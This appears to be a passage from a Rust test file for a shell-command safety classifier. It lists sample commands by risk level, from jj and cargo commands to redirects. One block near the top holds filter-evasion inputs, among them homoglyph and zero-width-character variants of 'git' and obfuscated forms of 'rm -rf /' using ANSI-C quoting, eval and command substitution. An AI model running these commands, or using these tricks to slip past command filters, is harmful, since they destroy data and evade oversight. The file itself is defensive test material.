jj_git_push_bookmark: "jj git push --bookmark main",
basecamp_auth_login: "basecamp auth login",
basecamp_todo: "basecamp todo 'Buy milk'",
basecamp_done: "basecamp done 123",
basecamp_chat_post: "basecamp chat post 'hello' --in 123",
basecamp_comment: "basecamp comment 123 'looks good'",
unicode_homoglyph_git: "g\u{0456}t log",
unicode_zwsp_in_cmd: "g\u{200B}it log",
unicode_zwnj_in_cmd: "g\u{200C}it log",
unicode_combining_in_cmd: "g\u{0300}it log",
ansi_c_quote_rm: "$'\\x72\\x6d' -rf /",
ansi_c_quote_git: "$'git' log",
eval_rm: "eval 'rm -rf /'",
eval_git: "eval 'git log'",
cmd_sub_in_cmd_position: "$(echo rm) -rf /",
backtick_in_cmd_position: "`echo rm` -rf /",
var_expansion_cmd: "$cmd log",
dollar_brace_cmd: "${cmd} log",
}
inert! {
level_cat: "cat file.txt",
level_grep: "grep foo file.txt",
level_echo: "echo hello",
level_ls: "ls -la",
level_git_log: "git log --oneline",
level_git_diff: "git diff",
level_cargo_help: "cargo --help",
level_cargo_tree: "cargo tree",
level_cargo_config_get: "cargo config get build.target",
level_cargo_report: "cargo report future-incompatibilities",
level_cargo_msrv_list: "cargo msrv list",
level_cargo_msrv_show: "cargo msrv show",
level_cargo_vet_dump_graph: "cargo vet dump-graph",
level_find_grep: "find . -name '*.py' -exec grep pattern {} +",
level_pipe_inert: "grep foo file | head -5",
level_env_bare: "env",
level_timeout_ls: "timeout 5 ls -la",
level_bash_version: "bash --version",
assign_bare_inert: "x=1",
assign_bare_param_inert: "rc=$?",
assign_bare_dq_inert: "x=\"foo bar\"",
assign_bare_arith_inert: "x=$((1 + 2))",
assign_bare_multiple_inert: "a=1 b=2",
assign_with_dev_null_inert: "x=1 > /dev/null",
}
safe_read! {
level_cargo_test: "cargo test",
level_cargo_clippy: "cargo clippy",
level_cargo_check: "cargo check",
level_cargo_bench: "cargo bench",
level_cargo_publish_dry: "cargo publish --dry-run",
level_cargo_udeps: "cargo udeps",
level_cargo_msrv_verify: "cargo msrv verify",
level_cargo_public_api: "cargo public-api",
level_cargo_vet_check: "cargo vet check",
level_cargo_geiger: "cargo geiger",
level_cargo_criterion: "cargo criterion",
level_bundle_exec_rspec: "bundle exec rspec",
level_bundle_exec_rails_test: "bundle exec rails test",
level_npm_test: "npm test",
level_npm_run_test: "npm run test",
level_yarn_test: "yarn test",
level_go_test: "go test ./...",
level_go_vet: "go vet ./...",
level_deno_test: "deno test",
level_deno_lint: "deno lint",
level_deno_check: "deno check src/main.ts",
level_bun_test: "bun test",
level_swift_test: "swift test",
level_gradle_test: "gradle test",
level_gradle_check: "gradle check",
level_dotnet_test: "dotnet test",
level_mvn_test: "mvn test",
level_mvn_verify: "mvn verify",
level_npx_eslint: "npx eslint src/",
level_bunx_eslint: "bunx eslint src/",
level_swiftlint_lint: "swiftlint lint",
level_swiftlint_analyze: "swiftlint analyze --compiler-log-path build.log",
level_detekt: "detekt",
level_ktlint: "ktlint src/",
level_periphery_scan: "periphery scan",
level_cucumber: "cucumber features/login.feature",
level_timeout_cargo_test: "timeout 120 cargo test",
level_env_cargo_test: "env RUST_BACKTRACE=1 cargo test",
level_pipe_cargo_test: "cargo test | grep PASS",
level_hexo_render_no_output: "hexo render src/foo.md",
}
safe_write! {
level_cargo_build: "cargo build",
level_cargo_build_help: "cargo build --help",
level_cargo_doc: "cargo doc",
level_cargo_clean: "cargo clean",
level_cargo_fetch: "cargo fetch",
level_cargo_vendor: "cargo vendor",
level_cargo_cyclonedx: "cargo cyclonedx",
level_go_build: "go build ./...",
level_swift_build: "swift build",
level_gradle_build: "gradle build",
level_bun_build: "bun build src/index.ts",
level_dotnet_build: "dotnet build",
level_mvn_compile: "mvn compile",
level_gh_release_download: "gh release download --output file.tar.gz --repo o/r",
jj_squash: "jj squash",
jj_squash_help: "jj squash --help",
jj_split: "jj split",
jj_split_help: "jj split --help",
jj_new: "jj new",
jj_new_message: "jj new main -m 'start feature'",
jj_describe: "jj describe -m 'hello'",
jj_commit: "jj commit -m 'msg'",
jj_rebase: "jj rebase -d main",
jj_edit: "jj edit @-",
jj_abandon: "jj abandon @-",
jj_undo: "jj undo",
jj_restore: "jj restore --from @-",
jj_duplicate: "jj duplicate @-",
jj_resolve: "jj resolve",
jj_resolve_list: "jj resolve --list",
jj_fix: "jj fix",
jj_absorb: "jj absorb",
jj_backout: "jj backout -r @-",
jj_unsquash: "jj unsquash",
jj_simplify_parents: "jj simplify-parents",
jj_parallelize: "jj parallelize @::@-",
jj_bookmark_set: "jj bookmark set feature",
jj_bookmark_create: "jj bookmark create feature",
jj_bookmark_delete: "jj bookmark delete feature",
jj_bookmark_move: "jj bookmark move feature --to @",
jj_bookmark_track: "jj bookmark track feature@origin",
jj_git_init: "jj git init --colocate",
jj_workspace_add: "jj workspace add ../ws2",
jj_workspace_forget: "jj workspace forget default",
jj_workspace_rename: "jj workspace rename new-name",
redirect_to_file: "echo hello > file.txt",
redirect_append: "cat file >> output.txt",
redirect_stderr_file: "ls 2> errors.txt",
redirect_grep_file: "grep pattern file > results.txt",
redirect_find_file: "find . -name '*.py' > listing.txt",
env_rails_redirect: "RAILS_ENV=test echo foo > bar",
jj_diff_redirect: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
cat_redirect_to_tmp: "cat < /tmp/x > /tmp/y",
assign_with_redirect_safewrite: "x=1 > file.txt",
assign_with_etc_passwd_safewrite: "x=1 > /etc/passwd",
hexo_render_with_output_promotes: "hexo render src/foo.md -o out.html",
hexo_render_with_long_output_promotes: "hexo render src/foo.md --output out.html",
}